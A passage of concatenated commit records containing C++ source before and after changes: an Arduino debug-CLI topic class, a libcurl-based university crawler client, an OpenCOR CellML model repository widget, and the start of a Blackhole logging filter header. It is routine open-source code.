next->setNextSibling(node->getNextSibling());\n }\n }\n}\n\nvoid DbgCli_Topic::printAllChildNodes()\n{\n#ifdef ARDUINO\n Serial.print(\"Node \");\n Serial.print(this->getNodeName());\n Serial.print(\": \");\n Serial.println(this->getHelpText());\n DbgCli_Node* tmpNode = this->getFirstChild();\n if (0 != tmpNode)\n {\n Serial.print(\"Contains: \");\n Serial.print(tmpNode->getNodeName());\n tmpNode = tmpNode->getNextSibling();\n while (0 != tmpNode)\n {\n Serial.print(\", \");\n Serial.print(tmpNode->getNodeName());\n tmpNode = tmpNode->getNextSibling();\n }\n Serial.println(\" \");\n }\n#else\n printf(\"Node %s: %s\\n\", this->getNodeName(), this->getHelpText());\n DbgCli_Node* tmpNode = this->getFirstChild();\n if (0 != tmpNode)\n {\n printf(\"Contains: %s\", tmpNode->getNodeName());\n tmpNode = tmpNode->getNextSibling();\n while (0 != tmpNode)\n {\n printf(\", %s\", tmpNode->getNodeName());\n tmpNode = tmpNode->getNextSibling();\n }\n printf(\"\\n\");\n }\n#endif\n}\n\nDbgCli_Node* DbgCli_Topic::getChildNode(const char* nodeName)\n{\n bool found = false;\n\n DbgCli_Node* tmpNode = m_firstChild;\n while ((0 != tmpNode) && !found)\n {\n found = (strcmp(tmpNode->getNodeName(), nodeName) == 0);\n if (!found)\n {\n tmpNode = tmpNode->getNextSibling();\n }\n }\n return tmpNode;\n}\n\nDbgCli_Node* DbgCli_Topic::getFirstChild()\n{\n return m_firstChild;\n}\n\nvoid DbgCli_Topic::execute(unsigned int argc, const char** args, unsigned int idxToFirstArgToHandle)\n{\n if (idxToFirstArgToHandle < argc)\n {\n const char* nodeName = args[idxToFirstArgToHandle];\n\/\/ #ifdef ARDUINO\n\/\/ Serial.print(\"DbgCli_Topic::execute, curNodeName: \");\n\/\/ Serial.print(this->getNodeName());\n\/\/ Serial.print(\", nodeName: \");\n\/\/ Serial.println(nodeName);\n\/\/ #else\n\/\/ printf(\"DbgCli_Topic::execute, curNodeName: %s\", this->getNodeName());\n\/\/ printf(\", nodeName: %s\\n\",nodeName);\n\/\/ #endif\n\n DbgCli_Node* tmpNode = this->getChildNode(nodeName); \/\/get child or sibling with this nodeName\n if (0 != tmpNode)\n {\n idxToFirstArgToHandle++;\n tmpNode->execute(argc, args, idxToFirstArgToHandle);\n }\n else if (0==strcmp(DbgCli_Topic::RootNode()->getNodeName(),nodeName))\n {\n \/\/ root node was executed\n this->printAllChildNodes();\n }\n else\n {\n \/\/ at least one node not found\n #ifdef ARDUINO\n Serial.print(\"Node or cmd \\\"\");\n Serial.print(nodeName);\n Serial.println(\"\\\" not found!\");\n #else\n printf(\"Node or cmd \\\"%s\\\" not found!\\n\", nodeName);\n #endif\n }\n }\n else\n { \/\/ at last node and its a topic\n this->printAllChildNodes();\n }\n}\n<commit_msg>fix silly mistake in DbgCli_Topic destructor<commit_after>\/*\n * DbgCliTopic.cpp\n *\n * Created on: 11.02.2015\n * Author: niklausd\n *\/\n\n#include \"DbgCliTopic.h\"\n#include <string.h>\n#include <stdlib.h>\n\n#ifdef ARDUINO\n#include \"Arduino.h\"\n#else\n#include <stdio.h>\n#endif\n\nDbgCli_Topic::DbgCli_Topic(DbgCli_Node* parentNode, const char* nodeName, const char* helpText)\n: DbgCli_Node(parentNode, nodeName, helpText)\n, m_firstChild(0)\n{ }\n\nDbgCli_Topic::~DbgCli_Topic()\n{ \n DbgCli_Node* next = m_firstChild;\n while (0 != next)\n {\n DbgCli_Node* toBeDeleted = next;\n next = next->getNextSibling();\n delete toBeDeleted;\n toBeDeleted = 0;\n }\n}\n\nvoid DbgCli_Topic::addChildNode(DbgCli_Node* node)\n{\n if (0 == m_firstChild)\n {\n m_firstChild = node;\n }\n else\n {\n DbgCli_Node* next = m_firstChild;\n\n while (0 != next->getNextSibling())\n {\n next = next->getNextSibling();\n }\n next->setNextSibling(node);\n }\n}\n\nvoid DbgCli_Topic::removeChildNode(DbgCli_Node* node)\n{\n if (m_firstChild == node)\n {\n m_firstChild = node->getNextSibling();\n }\n else\n {\n DbgCli_Node* next = m_firstChild;\n while ((next != 0) && (next->getNextSibling() != node))\n {\n next = next->getNextSibling();\n }\n if (next != 0)\n {\n next->setNextSibling(node->getNextSibling());\n }\n }\n}\n\nvoid DbgCli_Topic::printAllChildNodes()\n{\n#ifdef ARDUINO\n Serial.print(\"Node \");\n Serial.print(this->getNodeName());\n Serial.print(\": \");\n Serial.println(this->getHelpText());\n DbgCli_Node* tmpNode = this->getFirstChild();\n if (0 != tmpNode)\n {\n Serial.print(\"Contains: \");\n Serial.print(tmpNode->getNodeName());\n tmpNode = tmpNode->getNextSibling();\n while (0 != tmpNode)\n {\n Serial.print(\", \");\n Serial.print(tmpNode->getNodeName());\n tmpNode = tmpNode->getNextSibling();\n }\n Serial.println(\" \");\n }\n#else\n printf(\"Node %s: %s\\n\", this->getNodeName(), this->getHelpText());\n DbgCli_Node* tmpNode = this->getFirstChild();\n if (0 != tmpNode)\n {\n printf(\"Contains: %s\", tmpNode->getNodeName());\n tmpNode = tmpNode->getNextSibling();\n while (0 != tmpNode)\n {\n printf(\", %s\", tmpNode->getNodeName());\n tmpNode = tmpNode->getNextSibling();\n }\n printf(\"\\n\");\n }\n#endif\n}\n\nDbgCli_Node* DbgCli_Topic::getChildNode(const char* nodeName)\n{\n bool found = false;\n\n DbgCli_Node* tmpNode = m_firstChild;\n while ((0 != tmpNode) && !found)\n {\n found = (strcmp(tmpNode->getNodeName(), nodeName) == 0);\n if (!found)\n {\n tmpNode = tmpNode->getNextSibling();\n }\n }\n return tmpNode;\n}\n\nDbgCli_Node* DbgCli_Topic::getFirstChild()\n{\n return m_firstChild;\n}\n\nvoid DbgCli_Topic::execute(unsigned int argc, const char** args, unsigned int idxToFirstArgToHandle)\n{\n if (idxToFirstArgToHandle < argc)\n {\n const char* nodeName = args[idxToFirstArgToHandle];\n\/\/ #ifdef ARDUINO\n\/\/ Serial.print(\"DbgCli_Topic::execute, curNodeName: \");\n\/\/ Serial.print(this->getNodeName());\n\/\/ Serial.print(\", nodeName: \");\n\/\/ Serial.println(nodeName);\n\/\/ #else\n\/\/ printf(\"DbgCli_Topic::execute, curNodeName: %s\", this->getNodeName());\n\/\/ printf(\", nodeName: %s\\n\",nodeName);\n\/\/ #endif\n\n DbgCli_Node* tmpNode = this->getChildNode(nodeName); \/\/get child or sibling with this nodeName\n if (0 != tmpNode)\n {\n idxToFirstArgToHandle++;\n tmpNode->execute(argc, args, idxToFirstArgToHandle);\n }\n else if (0==strcmp(DbgCli_Topic::RootNode()->getNodeName(),nodeName))\n {\n \/\/ root node was executed\n this->printAllChildNodes();\n }\n else\n {\n \/\/ at least one node not found\n #ifdef ARDUINO\n Serial.print(\"Node or cmd \\\"\");\n Serial.print(nodeName);\n Serial.println(\"\\\" not found!\");\n #else\n printf(\"Node or cmd \\\"%s\\\" not found!\\n\", nodeName);\n #endif\n }\n }\n else\n { \/\/ at last node and its a topic\n this->printAllChildNodes();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Webclient.hpp\"\n\nWebclient::Webclient() :\n\tcurl(curl_easy_init())\n{\n\tcurl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1);\n\tcurl_easy_setopt(curl, CURLOPT_MAXREDIRS, 10);\n\tcurl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, Webclient::curlCallback);\n\tcurl_easy_setopt(curl, CURLOPT_WRITEDATA, this);\n\tcurl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 2);\n\tcurl_easy_setopt(curl, CURLOPT_TIMEOUT, 10);\n\tcurl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, \"gzip\");\n\tcurl_easy_setopt(curl, CURLOPT_USERAGENT, \"GoogleLiteBot\");\n}\n\nWebclient::~Webclient()\n{\n\t\/\/ Cleanup CURL\n\tcurl_easy_cleanup(curl);\n}\n\nstd::string Webclient::getURL(std::string& url)\n{\n\t\/\/ Set the link\n\tcurl_easy_setopt(curl, CURLOPT_URL, url.c_str());\n\n\t\/\/ Clear the current buffer\n\tbuffer.str(\"\");\n\n\tCURLcode res = curl_easy_perform(curl);\n\n\tif (res != 0) {\n\t\tCrawlException ex;\n\t\tthrow ex;\n\t}\n\n\tchar* effectiveURL;\n\tcurl_easy_getinfo(curl, CURLINFO_EFFECTIVE_URL, &effectiveURL);\n\turl = effectiveURL;\n\n\treturn buffer.str();\n}\n\nsize_t Webclient::curlCallback(char* buffer, size_t size, size_t nmemb, Webclient* client)\n{\n\tconst size_t real_size = size * nmemb;\n\n\tclient->buffer.write(buffer, real_size);\n\n\treturn real_size;\n}\n<commit_msg>Non-http 200 codes are now discarded.<commit_after>#include \"Webclient.hpp\"\n\nWebclient::Webclient() :\n\tcurl(curl_easy_init())\n{\n\tcurl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1);\n\tcurl_easy_setopt(curl, CURLOPT_MAXREDIRS, 10);\n\tcurl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, Webclient::curlCallback);\n\tcurl_easy_setopt(curl, CURLOPT_WRITEDATA, this);\n\tcurl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 2);\n\tcurl_easy_setopt(curl, CURLOPT_TIMEOUT, 10);\n\tcurl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, \"gzip\");\n\tcurl_easy_setopt(curl, CURLOPT_USERAGENT, \"MIRBot\/1.0 - A robot made for a course at Leiden University - Abuse: l.j.peters@umail.leidenuniv.nl\");\n}\n\nWebclient::~Webclient()\n{\n\t\/\/ Cleanup CURL\n\tcurl_easy_cleanup(curl);\n}\n\nstd::string Webclient::getURL(std::string& url)\n{\n\t\/\/ Set the link\n\tcurl_easy_setopt(curl, CURLOPT_URL, url.c_str());\n\n\t\/\/ Clear the current buffer\n\tbuffer.str(\"\");\n\n\tCURLcode res = curl_easy_perform(curl);\n\tlong http_code;\n\n\tcurl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);\n\n\tif (res != 0 || http_code != 200) {\n\t\tCrawlException ex;\n\t\tthrow ex;\n\t}\n\n\n\tchar* effectiveURL;\n\tcurl_easy_getinfo(curl, CURLINFO_EFFECTIVE_URL, &effectiveURL);\n\turl = effectiveURL;\n\n\treturn buffer.str();\n}\n\nsize_t Webclient::curlCallback(char* buffer, size_t size, size_t nmemb, Webclient* client)\n{\n\tconst size_t real_size = size * nmemb;\n\n\tclient->buffer.write(buffer, real_size);\n\n\treturn real_size;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\n\nLicensed to the OpenCOR team under one or more contributor license agreements.\nSee the NOTICE.txt file distributed with this work for additional information\nregarding copyright ownership. The OpenCOR team licenses this file to you under\nthe Apache License, Version 2.0 (the \"License\"); you may not use this file\nexcept in compliance with the License. You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software distributed\nunder the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\nCONDITIONS OF ANY KIND, either express or implied. See the License for the\nspecific language governing permissions and limitations under the License.\n\n*******************************************************************************\/\n\n\/\/==============================================================================\n\/\/ CellML Model Repository widget\n\/\/==============================================================================\n\n#include \"cellmlmodelrepositorywindowwidget.h\"\n#include \"corecliutils.h\"\n#include \"coreguiutils.h\"\n\n\/\/==============================================================================\n\n#include \"ui_cellmlmodelrepositorywindowwidget.h\"\n\n\/\/==============================================================================\n\n#include <QClipboard>\n#include <QDesktopServices>\n#include <QIODevice>\n#include <QMenu>\n#include <QPaintEvent>\n#include <QRegularExpression>\n#include <QWebElement>\n#include <QWebFrame>\n\n\/\/==============================================================================\n\nnamespace OpenCOR {\nnamespace CellMLModelRepositoryWindow {\n\n\/\/==============================================================================\n\nCellmlModelRepositoryWindowWidget::CellmlModelRepositoryWindowWidget(QWidget *pParent) :\n Core::WebViewWidget(pParent),\n Core::CommonWidget(pParent),\n mGui(new Ui::CellmlModelRepositoryWindowWidget),\n mModelNames(QStringList()),\n mErrorMessage(QString()),\n mNumberOfModels(0),\n mNumberOfFilteredModels(0),\n mLink(QString())\n{\n \/\/ Set up the GUI\n\n mGui->setupUi(this);\n\n \/\/ Add a small margin ourselves, so that no visual trace of the border drawn\n \/\/ by drawBorder() in paintEvent() is left when scrolling (on Windows, but\n \/\/ it doesn't harm doing it for all our supported platforms)\n \/\/ Note: not sure why, but no matter how many pixels are specified for the\n \/\/ margin, no margin actually exists, but it addresses the issue with\n \/\/ the border drawn by drawBorder()...\n\n setStyleSheet(\"QWebView {\"\n \" margin: 1px;\"\n \"}\");\n\n \/\/ Create and populate our context menu\n\n mContextMenu = new QMenu(this);\n\n mContextMenu->addAction(mGui->actionCopy);\n\n \/\/ We want out own context menu\n\n setContextMenuPolicy(Qt::CustomContextMenu);\n\n connect(this, SIGNAL(customContextMenuRequested(const QPoint &)),\n this, SLOT(showCustomContextMenu(const QPoint &)));\n\n \/\/ Prevent objects from being dropped on us\n\n setAcceptDrops(false);\n\n \/\/ Have links opened in the user's browser rather than in our list\n\n page()->setLinkDelegationPolicy(QWebPage::DelegateAllLinks);\n\n \/\/ Some connections\n\n connect(page(), SIGNAL(linkClicked(const QUrl &)),\n this, SLOT(linkClicked(const QUrl &)));\n\n \/\/ Retrieve the output template\n\n Core::readTextFromFile(\":\/output.html\", mOutputTemplate);\n\n setHtml(mOutputTemplate.arg(Core::iconDataUri(\":\/oxygen\/places\/folder-downloads.png\", 16, 16),\n Core::iconDataUri(\":\/oxygen\/places\/folder-downloads.png\", 16, 16, QIcon::Disabled)));\n}\n\n\/\/==============================================================================\n\nCellmlModelRepositoryWindowWidget::~CellmlModelRepositoryWindowWidget()\n{\n \/\/ Delete the GUI\n\n delete mGui;\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::retranslateUi()\n{\n \/\/ Retranslate our message\n\n QWebElement messageElement = page()->mainFrame()->documentElement().findFirst(\"p[id=message]\");\n\n if (mErrorMessage.isEmpty()) {\n if (!mNumberOfFilteredModels) {\n if (!mNumberOfModels)\n messageElement.removeAllChildren();\n else\n messageElement.setInnerXml(tr(\"No CellML model matches your criteria.\"));\n } else if (mNumberOfFilteredModels == 1) {\n messageElement.setInnerXml(tr(\"<strong>1<\/strong> CellML model was found:\"));\n } else {\n messageElement.setInnerXml(tr(\"<strong>%1<\/strong> CellML models were found:\").arg(mNumberOfFilteredModels));\n }\n } else {\n messageElement.setInnerXml(tr(\"<strong>Error:<\/strong> \")+Core::formatMessage(mErrorMessage, true, true));\n }\n}\n\n\/\/==============================================================================\n\nQSize CellmlModelRepositoryWindowWidget::sizeHint() const\n{\n \/\/ Suggest a default size for the CellML Model Repository widget\n \/\/ Note: this is critical if we want a docked widget, with a CellML Model\n \/\/ Repository widget on it, to have a decent size when docked to the\n \/\/ main window...\n\n return defaultSize(0.15);\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::paintEvent(QPaintEvent *pEvent)\n{\n \/\/ Default handling of the event\n\n QWebView::paintEvent(pEvent);\n\n \/\/ Draw a border\n\n drawBorder(\n#if defined(Q_OS_WIN) || defined(Q_OS_LINUX)\n true, true, true, true,\n#elif defined(Q_OS_MAC)\n true, false, false, false,\n#else\n #error Unsupported platform\n#endif\n true, false, false, false\n );\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::initialize(const QStringList &pModelNames,\n const QStringList &pModelUrls,\n const QString &pErrorMessage)\n{\n \/\/ Keep track of some properties\n\n mModelNames = pModelNames;\n mErrorMessage = pErrorMessage;\n\n \/\/ Initialise our list of models, unless an error occurred\n\n if (pErrorMessage.isEmpty()) {\n mNumberOfModels = pModelNames.count();\n\n if (mNumberOfModels) {\n QString models = QString();\n\n for (int i = 0; i < mNumberOfModels; ++i) {\n models = models\n +\"<tr id=\\\"model_\"+QString::number(i)+\"\\\">\\n\"\n +\" <td>\\n\"\n +\" <ul>\\n\"\n +\" <li>\\n\"\n +\" <a href=\\\"\"+pModelUrls[i]+\"\\\">\"+pModelNames[i]+\"<\/a>\\n\"\n +\" <\/li>\\n\"\n +\" <\/ul>\\n\"\n +\" <\/td>\\n\"\n +\" <td class=\\\"button\\\">\\n\"\n +\" <a class=\\\"noHover\\\" href=\\\"\"+pModelUrls[i]+\"\\\"><img class=\\\"button clone\\\"\/><\/a>\\n\"\n +\" <\/td>\\n\"\n +\"<\/tr>\\n\";\n }\n\n QWebElement modelsElement = page()->mainFrame()->documentElement().findFirst(\"tbody\");\n\n modelsElement.removeAllChildren();\n modelsElement.appendInside(models);\n }\n }\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::filter(const QString &pFilter)\n{\n \/\/ Make sure that we have something to filter (i.e. no error message)\n\n if (!mErrorMessage.isEmpty())\n return;\n\n \/\/ Filter our list of models, remove duplicates (they will be reintroduced\n \/\/ in the next step) and update our message (by retranslate ourselves)\n\n QStringList filteredModelNames = mModelNames.filter(QRegularExpression(pFilter, QRegularExpression::CaseInsensitiveOption));\n\n mNumberOfFilteredModels = filteredModelNames.count();\n\n filteredModelNames.removeDuplicates();\n\n retranslateUi();\n\n \/\/ Determine which models should be shown\/hidden\n\n QIntList modelIndexes = QIntList();\n int modelIndex;\n\n foreach (const QString &filteredModelName, filteredModelNames) {\n modelIndex = -1;\n\n forever {\n modelIndex = mModelNames.indexOf(filteredModelName, ++modelIndex);\n\n if (modelIndex == -1)\n break;\n else\n modelIndexes << modelIndex;\n }\n }\n\n \/\/ Show\/hide the relevant models\n\n QWebElement documentElement = page()->mainFrame()->documentElement();\n\n for (int i = 0, iMax = mModelNames.count(); i < iMax; ++i)\n documentElement.findFirst(QString(\"tr[id=model_%1]\").arg(i)).setStyleProperty(\"display\", modelIndexes.contains(i)?\"table-row\":\"none\");\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::on_actionCopy_triggered()\n{\n \/\/ Copy the URL of the model to the clipboard\n\n QApplication::clipboard()->setText(mLink);\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::linkClicked(const QUrl &pUrl)\n{\n \/\/ Retrieve some information about the link\n\n QString textContent;\n\n retrieveLinkInformation(mLink, textContent);\n\n \/\/ Check whether we have clicked a model link or a button link, i.e. that we\n \/\/ want to clone the model\n\n if (textContent.isEmpty()) {\n \/\/ We have clicked on a button link, so clone the model\n\nqDebug(\">>> Cloning %s...\", qPrintable(mLink));\n } else {\n \/\/ Open the model link in the user's browser\n\n QDesktopServices::openUrl(pUrl);\n }\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::showCustomContextMenu(const QPoint &pPosition)\n{\n Q_UNUSED(pPosition);\n\n \/\/ Retrieve some information about the link, if any\n\n QString textContent;\n\n retrieveLinkInformation(mLink, textContent);\n\n \/\/ Show our context menu to allow the copying of the URL of the model, but\n \/\/ only if we are over a link, i.e. if both mLink and textContent are not\n \/\/ empty\n\n if (!mLink.isEmpty() && !textContent.isEmpty())\n mContextMenu->exec(QCursor::pos());\n}\n\n\/\/==============================================================================\n\n} \/\/ namespace CellMLModelRepositoryWindow\n} \/\/ namespace OpenCOR\n\n\/\/==============================================================================\n\/\/ End of file\n\/\/==============================================================================\n<commit_msg>PMR window: some work on allowing a workspace to be cloned (#593) [ci skip].<commit_after>\/*******************************************************************************\n\nLicensed to the OpenCOR team under one or more contributor license agreements.\nSee the NOTICE.txt file distributed with this work for additional information\nregarding copyright ownership. The OpenCOR team licenses this file to you under\nthe Apache License, Version 2.0 (the \"License\"); you may not use this file\nexcept in compliance with the License. You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software distributed\nunder the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\nCONDITIONS OF ANY KIND, either express or implied. See the License for the\nspecific language governing permissions and limitations under the License.\n\n*******************************************************************************\/\n\n\/\/==============================================================================\n\/\/ CellML Model Repository widget\n\/\/==============================================================================\n\n#include \"cellmlmodelrepositorywindowwidget.h\"\n#include \"corecliutils.h\"\n#include \"coreguiutils.h\"\n\n\/\/==============================================================================\n\n#include \"ui_cellmlmodelrepositorywindowwidget.h\"\n\n\/\/==============================================================================\n\n#include <QClipboard>\n#include <QDesktopServices>\n#include <QIODevice>\n#include <QMenu>\n#include <QPaintEvent>\n#include <QRegularExpression>\n#include <QWebElement>\n#include <QWebFrame>\n\n\/\/==============================================================================\n\nnamespace OpenCOR {\nnamespace CellMLModelRepositoryWindow {\n\n\/\/==============================================================================\n\nCellmlModelRepositoryWindowWidget::CellmlModelRepositoryWindowWidget(QWidget *pParent) :\n Core::WebViewWidget(pParent),\n Core::CommonWidget(pParent),\n mGui(new Ui::CellmlModelRepositoryWindowWidget),\n mModelNames(QStringList()),\n mErrorMessage(QString()),\n mNumberOfModels(0),\n mNumberOfFilteredModels(0),\n mLink(QString())\n{\n \/\/ Set up the GUI\n\n mGui->setupUi(this);\n\n \/\/ Add a small margin ourselves, so that no visual trace of the border drawn\n \/\/ by drawBorder() in paintEvent() is left when scrolling (on Windows and\n \/\/ Linux, but it doesn't harm doing it for all our supported platforms)\n \/\/ Note: not sure why, but no matter how many pixels are specified for the\n \/\/ margin, no margin actually exists, but it addresses the issue with\n \/\/ the border drawn by drawBorder()...\n\n setStyleSheet(\"QWebView {\"\n \" margin: 1px;\"\n \"}\");\n\n \/\/ Create and populate our context menu\n\n mContextMenu = new QMenu(this);\n\n mContextMenu->addAction(mGui->actionCopy);\n\n \/\/ We want out own context menu\n\n setContextMenuPolicy(Qt::CustomContextMenu);\n\n connect(this, SIGNAL(customContextMenuRequested(const QPoint &)),\n this, SLOT(showCustomContextMenu(const QPoint &)));\n\n \/\/ Prevent objects from being dropped on us\n\n setAcceptDrops(false);\n\n \/\/ Have links opened in the user's browser rather than in our list\n\n page()->setLinkDelegationPolicy(QWebPage::DelegateAllLinks);\n\n \/\/ Some connections\n\n connect(page(), SIGNAL(linkClicked(const QUrl &)),\n this, SLOT(linkClicked(const QUrl &)));\n\n \/\/ Retrieve the output template\n\n Core::readTextFromFile(\":\/output.html\", mOutputTemplate);\n\n setHtml(mOutputTemplate.arg(Core::iconDataUri(\":\/oxygen\/places\/folder-downloads.png\", 16, 16),\n Core::iconDataUri(\":\/oxygen\/places\/folder-downloads.png\", 16, 16, QIcon::Disabled)));\n}\n\n\/\/==============================================================================\n\nCellmlModelRepositoryWindowWidget::~CellmlModelRepositoryWindowWidget()\n{\n \/\/ Delete the GUI\n\n delete mGui;\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::retranslateUi()\n{\n \/\/ Retranslate our message\n\n QWebElement messageElement = page()->mainFrame()->documentElement().findFirst(\"p[id=message]\");\n\n if (mErrorMessage.isEmpty()) {\n if (!mNumberOfFilteredModels) {\n if (!mNumberOfModels)\n messageElement.removeAllChildren();\n else\n messageElement.setInnerXml(tr(\"No CellML model matches your criteria.\"));\n } else if (mNumberOfFilteredModels == 1) {\n messageElement.setInnerXml(tr(\"<strong>1<\/strong> CellML model was found:\"));\n } else {\n messageElement.setInnerXml(tr(\"<strong>%1<\/strong> CellML models were found:\").arg(mNumberOfFilteredModels));\n }\n } else {\n messageElement.setInnerXml(tr(\"<strong>Error:<\/strong> \")+Core::formatMessage(mErrorMessage, true, true));\n }\n}\n\n\/\/==============================================================================\n\nQSize CellmlModelRepositoryWindowWidget::sizeHint() const\n{\n \/\/ Suggest a default size for the CellML Model Repository widget\n \/\/ Note: this is critical if we want a docked widget, with a CellML Model\n \/\/ Repository widget on it, to have a decent size when docked to the\n \/\/ main window...\n\n return defaultSize(0.15);\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::paintEvent(QPaintEvent *pEvent)\n{\n \/\/ Default handling of the event\n\n QWebView::paintEvent(pEvent);\n\n \/\/ Draw a border\n\n drawBorder(\n#if defined(Q_OS_WIN) || defined(Q_OS_LINUX)\n true, true, true, true,\n#elif defined(Q_OS_MAC)\n true, false, false, false,\n#else\n #error Unsupported platform\n#endif\n true, false, false, false\n );\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::initialize(const QStringList &pModelNames,\n const QStringList &pModelUrls,\n const QString &pErrorMessage)\n{\n \/\/ Keep track of some properties\n\n mModelNames = pModelNames;\n mErrorMessage = pErrorMessage;\n\n \/\/ Initialise our list of models, unless an error occurred\n\n if (pErrorMessage.isEmpty()) {\n mNumberOfModels = pModelNames.count();\n\n if (mNumberOfModels) {\n QString models = QString();\n\n for (int i = 0; i < mNumberOfModels; ++i) {\n models = models\n +\"<tr id=\\\"model_\"+QString::number(i)+\"\\\">\\n\"\n +\" <td>\\n\"\n +\" <ul>\\n\"\n +\" <li>\\n\"\n +\" <a href=\\\"\"+pModelUrls[i]+\"\\\">\"+pModelNames[i]+\"<\/a>\\n\"\n +\" <\/li>\\n\"\n +\" <\/ul>\\n\"\n +\" <\/td>\\n\"\n +\" <td class=\\\"button\\\">\\n\"\n +\" <a class=\\\"noHover\\\" href=\\\"\"+pModelUrls[i]+\"\\\"><img class=\\\"button clone\\\"\/><\/a>\\n\"\n +\" <\/td>\\n\"\n +\"<\/tr>\\n\";\n }\n\n QWebElement modelsElement = page()->mainFrame()->documentElement().findFirst(\"tbody\");\n\n modelsElement.removeAllChildren();\n modelsElement.appendInside(models);\n }\n }\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::filter(const QString &pFilter)\n{\n \/\/ Make sure that we have something to filter (i.e. no error message)\n\n if (!mErrorMessage.isEmpty())\n return;\n\n \/\/ Filter our list of models, remove duplicates (they will be reintroduced\n \/\/ in the next step) and update our message (by retranslate ourselves)\n\n QStringList filteredModelNames = mModelNames.filter(QRegularExpression(pFilter, QRegularExpression::CaseInsensitiveOption));\n\n mNumberOfFilteredModels = filteredModelNames.count();\n\n filteredModelNames.removeDuplicates();\n\n retranslateUi();\n\n \/\/ Determine which models should be shown\/hidden\n\n QIntList modelIndexes = QIntList();\n int modelIndex;\n\n foreach (const QString &filteredModelName, filteredModelNames) {\n modelIndex = -1;\n\n forever {\n modelIndex = mModelNames.indexOf(filteredModelName, ++modelIndex);\n\n if (modelIndex == -1)\n break;\n else\n modelIndexes << modelIndex;\n }\n }\n\n \/\/ Show\/hide the relevant models\n\n QWebElement documentElement = page()->mainFrame()->documentElement();\n\n for (int i = 0, iMax = mModelNames.count(); i < iMax; ++i)\n documentElement.findFirst(QString(\"tr[id=model_%1]\").arg(i)).setStyleProperty(\"display\", modelIndexes.contains(i)?\"table-row\":\"none\");\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::on_actionCopy_triggered()\n{\n \/\/ Copy the URL of the model to the clipboard\n\n QApplication::clipboard()->setText(mLink);\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::linkClicked(const QUrl &pUrl)\n{\n \/\/ Retrieve some information about the link\n\n QString textContent;\n\n retrieveLinkInformation(mLink, textContent);\n\n \/\/ Check whether we have clicked a model link or a button link, i.e. that we\n \/\/ want to clone the model\n\n if (textContent.isEmpty()) {\n \/\/ We have clicked on a button link, so clone the model\n\nqDebug(\">>> Cloning %s...\", qPrintable(mLink));\n } else {\n \/\/ Open the model link in the user's browser\n\n QDesktopServices::openUrl(pUrl);\n }\n}\n\n\/\/==============================================================================\n\nvoid CellmlModelRepositoryWindowWidget::showCustomContextMenu(const QPoint &pPosition)\n{\n Q_UNUSED(pPosition);\n\n \/\/ Retrieve some information about the link, if any\n\n QString textContent;\n\n retrieveLinkInformation(mLink, textContent);\n\n \/\/ Show our context menu to allow the copying of the URL of the model, but\n \/\/ only if we are over a link, i.e. if both mLink and textContent are not\n \/\/ empty\n\n if (!mLink.isEmpty() && !textContent.isEmpty())\n mContextMenu->exec(QCursor::pos());\n}\n\n\/\/==============================================================================\n\n} \/\/ namespace CellMLModelRepositoryWindow\n} \/\/ namespace OpenCOR\n\n\/\/==============================================================================\n\/\/ End of file\n\/\/==============================================================================\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <string>\n\n#include \"blackhole\/attribute.hpp\"\n#include \"blackhole\/expression\/helper.hpp\"\n#include \"blackhole\/filter.hpp\"\n#include \"blackhole\/utils\/underlying.hpp\"\n\nnamespace blackhole {\n\nnamespace expression {\n\ntemplate<typename T, class = void>\nstruct get_attr_action_t {\n typedef T result_type;\n\n const std::string name;\n\n const result_type& operator ()(const log::attributes_t& attributes) const {\n return boost::get<T>(attributes.at(name).value);\n }\n\n filter_t operator ==(const T& other) const {\n return aux::Eq<get_attr_action_t<T>>({ *this, other });\n }\n\n filter_t operator <(const T& other) const {\n return aux::Less<get_attr_action_t<T>>({ *this, other });\n }\n};\n\ntemplate<typename T>\nstruct get_attr_action_t<T, typename std::enable_if<std::is_enum<T>::value>::type> {\n typedef typename blackhole::aux::underlying_type<T>::type underlying_type;\n typedef T result_type;\n\n const std::string name;\n\n result_type operator ()(const log::attributes_t& attributes) const {\n return static_cast<result_type>(boost::get<underlying_type>(attributes.at(name).value));\n }\n\n filter_t operator ==(const T& other) const {\n return aux::Eq<get_attr_action_t<T>>({ *this, other });\n }\n\n filter_t operator <(const T& other) const {\n return aux::Less<get_attr_action_t<T>>({ *this, other });\n }\n};\n\ntemplate<typename T>\nget_attr_action_t<T> get_attr(const std::string& name) {\n return get_attr_action_t<T>({ name });\n}\n\ntemplate<typename T>\nget_attr_action_t<typename T::type> get_attr(const T&) {\n return get_attr<typename T::type>(std::string(T::name()));\n}\n\n} 